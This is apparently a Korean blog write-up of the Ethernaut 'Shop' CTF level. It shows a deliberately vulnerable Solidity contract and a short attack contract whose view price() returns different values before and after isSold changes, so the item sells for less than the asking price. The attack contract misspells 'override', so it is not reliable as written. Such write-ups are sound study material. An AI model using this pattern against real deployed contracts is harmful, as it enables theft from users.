[Ethernaut CTF] Shop

0xDave·2022년 10월 11일
0

Ethereum

목록 보기
42/112
post-thumbnail

소스코드


// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

해결과제


Сan you get the item from the shop for less than the price asked?
Things that might help:

    Shop expects to be used from a Buyer
    Understanding restrictions of view functions

더 싸게 가져오면 된다!

해결과정


price 함수를 attack 컨트랙트에서 정의할 때 isSold가 두 번 바뀌도록하고, price 설정을 100보다 낮게 하면 되지 않을까? 그래서 첫 번째 attack을 했을 때는 price를 100보다 낮게 하고, 두 번째 attack에서는 낮은 가격에 구매할 수 있도록 하면 될 것 같다. 현재 Rinkeby 네트워크가 사라진 상태라서 직접 문제를 풀 수 없는 상황이다. 다른 사람과 답을 한 번 맞춰보자.


pragma solidity ^0.6.0;

import './Shop.sol';

contract ShopAttack is Buyer{
  Shop public shop;
  
  constructor(Shop _shop) public {
  	shop = _shop;
  }
  
  function buy() public {
    shop.buy();
  }
  
  function price() external view ovveride returns (uint) {
    return shop.isSold() ? 0 : 100;
  }
}

다른 사람이 적은 답은 내가 생각했던 것보다 간결했다. 삼항연산자를 사용해서 isSold가 true일 때 price 값이 0을 리턴하도록 하고, isSold가 false일 때 조건에 맞게 price 값을 100으로 만든다. ShopAttack 컨트랙트를 디플로이하고 buy 함수를 호출하면 isSold가 true로 바뀐 다음 price()함수를 다시 한 번 호출함으로써 가격이 0원이 된다.

그런데 가격이 0원으로 바뀌고 나서 다시 구매할 때 isSold가 true이기 때문에 구매하지 못하는 것 아닌가?라고 생각했었는데 문제에서 원하는 것은 그저 price를 100보다 낮추는 것이기 때문에 이 상태로 조건을 충족해서 통과할 수 있었다.

profile
Just BUIDL :)

0개의 댓글